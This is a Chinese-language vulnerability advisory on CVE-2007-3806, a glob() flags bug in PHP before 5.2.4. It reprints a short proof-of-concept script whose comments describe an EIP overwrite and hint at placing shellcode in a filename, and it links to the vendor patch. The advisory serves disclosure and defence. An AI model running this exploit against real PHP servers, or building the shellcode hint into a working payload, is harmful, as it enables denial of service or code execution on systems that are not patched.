| 关键词: 厂商 nbsp PHP 升级补丁 downloads 补丁 目前 已经 建议 影响 |
受影响系统: PHP PHP < 5.2.4 不受影响系统: PHP PHP 5.2.4 描述: -------------------------------------------------------------------------------- BUGTRAQ ID: 24922,25498 CVE(CAN) ID: CVE-2007-3806 PHP是广泛使用的通用目的脚本语言,特别适合于Web开发,可嵌入到HTML中。 PHP的glob函数实现上存在漏洞,远程攻击者可能利用此漏洞导致程序崩溃。 PHP中的glob函数参数值应为传送给[int $flags]的参数的整数值,因此如果提交了非整数值(如-1)的话, 就可能导致函数中出现无效读取操作,造成拒绝服务。 测试方法: -------------------------------------------------------------------------------- 警 告 以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负! <?php //PHP 5.2.3 glob() Remote DoS Exploit //author: shinnai //mail: shinnai[at]autistici[dot]org //site: http://shinnai.altervista.org //Tested on xp sp2, worked both from the cli (EIP overwrite) and on apache (Denial of Service) //Bug discovered with "Footzo" (thanks to rgod). //To download Footzo: //original link: http://godr.altervista.org/index.php?mod=Download/useful_tools#footzo.rar //alternative: http://www.shinnai.altervista.org/index.php?mod=Download/Utilities#footzo.rar //as you know, glob function expects an integer value passed to "[int $flags] " parameter //so when you give it something not integer (like -1) a funny thing happens: //I never seen something like that, EIP is overwrite with 4 bytes of filename :D //if you save aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaabbbb.php under C:\ and launch it //registers content will appear as follow: //EAX 00C0F8EC //ECX 00C0E9FC ASCII "C:\\aaaa" //EDX 00C0EC1C //EBX 00C0EC64 UNICODE "C:\\aaaa" //ESP 00C0E9F0 //EBP 00000000 //ESI 00C0F8EC //EDI 00C0EC74 //EIP 62626262 //any idea? put shellcode in filename :D glob("a",-1); ?> 建议: -------------------------------------------------------------------------------- 厂商补丁: PHP --- 目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载: http://www.php.net/downloads.php |
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